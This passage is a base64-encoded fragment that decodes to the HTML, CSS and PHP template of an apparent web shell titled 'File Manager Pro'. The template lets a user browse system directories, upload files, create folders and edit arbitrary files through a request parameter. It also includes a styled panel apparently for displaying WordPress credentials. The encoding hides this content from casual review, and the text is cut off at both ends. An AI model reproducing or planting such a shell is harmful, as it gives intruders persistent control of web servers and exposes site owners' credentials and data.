Ow0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNlMmU4ZjA7DQogICAgICAgICAgICBoZWlnaHQ6IGZpdC1jb250ZW50Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc2lkZWJhci1zZWN0aW9uIHsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDI1cHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zaWRlYmFyLXRpdGxlIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxNXB4Ow0KICAgICAgICAgICAgY29sb3I6ICMzMzQxNTU7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZTJlOGYwOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWxpc3Qgew0KICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnNlY3Rpb24tdGl0bGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxOHB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsNCiAgICAgICAgICAgIG1hcmdpbjogMjVweCAwIDE1cHggMDsNCiAgICAgICAgICAgIGNvbG9yOiAjMzM0MTU1Ow0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDEwcHg7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgI2UyZThmMDsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZm9sZGVyLWdyaWQsDQogICAgICAgIC5maWxlLWdyaWQgew0KICAgICAgICAgICAgZGlzcGxheTogZ3JpZDsNCiAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KGF1dG8tZmlsbCwgbWlubWF4KDMwMHB4LCAxZnIpKTsNCiAgICAgICAgICAgIGdhcDogMTVweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDMwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5mb2xkZXItaXRlbSwNCiAgICAgICAgLmZpbGUtaXRlbSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB3aGl0ZTsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNlMmU4ZjA7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZm9sZGVyLWl0ZW06aG92ZXIsDQogICAgICAgIC5maWxlLWl0ZW06aG92ZXIgew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNGY0NmU1Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDIwcHggcmdiYSgwLCAwLCAwLCAwLjA4KTsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtM3B4KTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZvbGRlci1pY29uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjZjU5ZTBiOw0KICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtaWNvbiB7DQogICAgICAgICAgICBjb2xvcjogIzRmNDZlNTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjRweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5pdGVtLW5hbWUgew0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDhweDsNCiAgICAgICAgICAgIHdvcmQtYnJlYWs6IGJyZWFrLWFsbDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLml0ZW0tbWV0YSB7DQogICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICBjb2xvcjogIzY0NzQ4YjsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMS41Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaXRlbS1hY3Rpb25zIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBnYXA6IDEwcHg7DQogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5hY3Rpb24tYnRuIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDZweCAxMnB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3M7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5hY3Rpb24tb3BlbiB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZGJlYWZlOw0KICAgICAgICAgICAgY29sb3I6ICMxZDRlZDg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5hY3Rpb24tb3Blbjpob3ZlciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjYmZkYmZlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYWN0aW9uLWVkaXQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZlZjNjNzsNCiAgICAgICAgICAgIGNvbG9yOiAjOTI0MDBlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYWN0aW9uLWVkaXQ6aG92ZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZkZTY4YTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmFjdGlvbi1kZWxldGUgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZlZTJlMjsNCiAgICAgICAgICAgIGNvbG9yOiAjZGMyNjI2Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYWN0aW9uLWRlbGV0ZTpob3ZlciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmVjYWNhOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYWxlcnQgew0KICAgICAgICAgICAgcGFkZGluZzogMTVweCAyMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQ7DQogICAgICAgICAgICBhbmltYXRpb246IHNsaWRlSW4gMC4zcyBlYXNlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBAa2V5ZnJhbWVzIHNsaWRlSW4gew0KICAgICAgICAgICAgZnJvbSB7DQogICAgICAgICAgICAgICAgb3BhY2l0eTogMDsNCiAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTEwcHgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgdG8gew0KICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7DQogICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYWxlcnQtc3VjY2VzcyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZDFmYWU1Ow0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMTBiOTgxOw0KICAgICAgICAgICAgY29sb3I6ICMwNjVmNDY7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5hbGVydC1lcnJvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmVlMmUyOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZWY0NDQ0Ow0KICAgICAgICAgICAgY29sb3I6ICM5OTFiMWI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5hbGVydC13YXJuaW5nIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZWYzYzc7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICNmNTllMGI7DQogICAgICAgICAgICBjb2xvcjogIzkyNDAwZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmFsZXJ0LWluZm8gew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2RiZWFmZTsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzNiODJmNjsNCiAgICAgICAgICAgIGNvbG9yOiAjMWU0MGFmOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZWRpdG9yLWNvbnRhaW5lciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB3aGl0ZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2UyZThmMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmVkaXRvci1oZWFkZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y4ZmFmYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UyZThmMDsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZWRpdG9yLWNvbnRlbnQgdGV4dGFyZWEgew0KICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICBtaW4taGVpZ2h0OiA1MDBweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ0NvdXJpZXIgTmV3JywgbW9ub3NwYWNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNjsNCiAgICAgICAgICAgIHJlc2l6ZTogdmVydGljYWw7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmYWZjOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZWRpdG9yLWNvbnRlbnQgdGV4dGFyZWE6Zm9jdXMgew0KICAgICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmVkaXRvci1mb290ZXIgew0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGZhZmM7DQogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2UyZThmMDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZW1wdHktc3RhdGUgew0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgcGFkZGluZzogNTBweCAyMHB4Ow0KICAgICAgICAgICAgY29sb3I6ICM2NDc0OGI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5lbXB0eS1zdGF0ZSBpIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogNDhweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5zdGF0dXMtYmFyIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMzBweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGZhZmM7DQogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2UyZThmMDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgICAgIGNvbG9yOiAjNjQ3NDhiOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLndwLWNyZWRzIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMGY5ZmY7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMGVhNWU5Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTVweDsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC53cC1jcmVkcyBoNCB7DQogICAgICAgICAgICBjb2xvcjogIzAzNjlhMTsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGdhcDogOHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3lzdGVtLWluZm8gew0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgY29sb3I6ICM0NzU1Njk7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMS42Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuc3lzdGVtLWluZm8gc3Ryb25nIHsNCiAgICAgICAgICAgIGNvbG9yOiAjMzM0MTU1Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogMTAyNHB4KSB7DQogICAgICAgICAgICAuY29udGVudCB7DQogICAgICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgew0KICAgICAgICAgICAgLmZvbGRlci1ncmlkLA0KICAgICAgICAgICAgLmZpbGUtZ3JpZCB7DQogICAgICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC5jb250cm9scyB7DQogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLmNvbnRyb2xzIGZvcm0gew0KICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IHN0cmV0Y2g7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlucHV0W3R5cGU9InRleHQiXSwNCiAgICAgICAgICAgIGlucHV0W3R5cGU9ImZpbGUiXSB7DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgbWluLXdpZHRoOiB1bnNldDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLmhlYWRlciB7DQogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgICAgICBnYXA6IDE1cHg7DQogICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlciI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItbGVmdCI+DQogICAgICAgICAgICAgICAgPGgxPvCfmoAgRmlsZSBNYW5hZ2VyIFBybzwvaDE+DQogICAgICAgICAgICAgICAgPHA+Q29tcGxldGUgZmlsZSBtYW5hZ2VtZW50PC9wPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItcmlnaHQiPg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij8iIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPg0KICAgICAgICAgICAgICAgICAgICDwn4+gIEhvbWUNCiAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj0vdG1wIiBjbGFzcz0iYnRuIGJ0bi1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAg8J+TgiBTeXN0ZW0NCiAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIA0KICAgICAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1icyI+DQogICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkYnJlYWRjcnVtYnMgYXMgJGluZGV4ID0+ICRjcnVtYik6ID8+DQogICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZSgkY3J1bWJbJ3BhdGgnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjcnVtYlsnbmFtZSddKTsgPz4NCiAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpbmRleCA8IGNvdW50KCRicmVhZGNydW1icykgLSAxKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4+IC8gPC9zcGFuPg0KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIA0KICAgICAgICA8ZGl2IGNsYXNzPSJxdWljay1uYXYiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxhYmVsIj7wn5OMIFF1aWNrIE5hdmlnYXRpb246PC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRwYXJlbnRfZGlyKTogPz4NCiAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudF9kaXIpOyA/PiIgY2xhc3M9Im5hdi1idG4iPg0KICAgICAgICAgICAgICAgIOKshu+4jyBQYXJlbnQgRGlyZWN0b3J5DQogICAgICAgICAgICA8L2E+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJHN5c3RlbV9yb290cyBhcyAkcGF0aCA9PiAkbmFtZSk6ID8+DQogICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzX2RpcigkcGF0aCkgJiYgaXNfcmVhZGFibGUoJHBhdGgpKTogPz4NCiAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRwYXRoKTsgPz4iIGNsYXNzPSJyb290LWJ0biI+DQogICAgICAgICAgICAgICAgICAgIPCfk40gPD9waHAgZWNobyAkbmFtZTsgPz4NCiAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgDQogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRyb2xzIj4NCiAgICAgICAgICAgIDwhLS0gVXBsb2FkIEZvcm0gLS0+DQogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRfZmlsZSIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPg0KICAgICAgICAgICAgICAgICAgICDwn5OkIFVwbG9hZCBGaWxlDQogICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDwhLS0gQ3JlYXRlIERpcmVjdG9yeSBGb3JtIC0tPg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyX25hbWUiIHBsYWNlaG9sZGVyPSJOZXcgZm9sZGVyIG5hbWUiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjcmVhdGVfZGlyIiB2YWx1ZT0iMSIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+DQogICAgICAgICAgICAgICAgICAgIPCfk4EgQ3JlYXRlIEZvbGRlcg0KICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8IS0tIFJlZnJlc2ggQnV0dG9uIC0tPg0KICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudF9kaXIpOyA/PiIgY2xhc3M9ImJ0biBidG4taW5mbyI+DQogICAgICAgICAgICAgICAg8J+UhCBSZWZyZXNoDQogICAgICAgICAgICA8L2E+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGlzc2V0KCR1cGxvYWRfbWVzc2FnZSkgfHwgaXNzZXQoJGRpcl9tZXNzYWdlKSB8fCBpc3NldCgkZGVsZXRlX21lc3NhZ2UpIHx8IGlzc2V0KCRlZGl0X21lc3NhZ2UpKTogPz4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29udGVudCI+DQogICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJHVwbG9hZF9tZXNzYWdlKSk6ID8+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICR1cGxvYWRfbWVzc2FnZTsgPz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkZGlyX21lc3NhZ2UpKTogPz4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MiPg0KICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpcl9tZXNzYWdlOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRkZWxldGVfbWVzc2FnZSkpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZGVsZXRlX21lc3NhZ2U7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJGVkaXRfbWVzc2FnZSkpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZWRpdF9tZXNzYWdlOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0iY29udGVudCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkZmlsZV9jb250ZW50KSk6ID8+DQogICAgICAgICAgICAgICAgPCEtLSBGaWxlIEVkaXRvciAtLT4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0b3ItY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWRpdG9yLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aDM+4pyP77iPIEVkaXRpbmc6IDw/cGhwIGVjaG8gYmFzZW5hbWUoJF9HRVRbJ2VkaXQnXSk7ID8+PC9oMz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKGkCBCYWNrIHRvIEZpbGVzDQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWRpdG9yLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJmaWxlX2NvbnRlbnQiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZV9jb250ZW50KTsgPz48L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0b3ItZm9vdGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfkr4gU2F2ZSBGaWxlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgPCEtLSBGaWxlIExpc3RpbmcgLS0+DQogICAgICAgICAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKTogPz4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlbXB0eS1zdGF0ZSI+DQogICAgICAgICAgICAgICAgICAgIDxpPvCfk4E8L2k+DQogICAgICAgICAgICAgICAgICAgIDxoMz5FbXB0eSBGb2xkZXI8L2gzPg0KICAgICAgICAgICAgICAgICAgICA8cD5UaGlzIGZvbGRlciBpcyBlbXB0eS4gVXBsb2FkIGZpbGVzIG9yIGNyZWF0ZSBzdWJmb2xkZXJzLjwvcD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGlmICghZW1wdHkoJGZvbGRlcnMpKTogPz4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLXRpdGxlIj4NCiAgICAgICAgICAgICAgICAgICAgPGk+8J+TgTwvaT4gRm9sZGVycyAoPD9waHAgZWNobyBjb3VudCgkZm9sZGVycyk7ID8+KQ0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvbGRlci1ncmlkIj4NCiAgICAgICAgICAg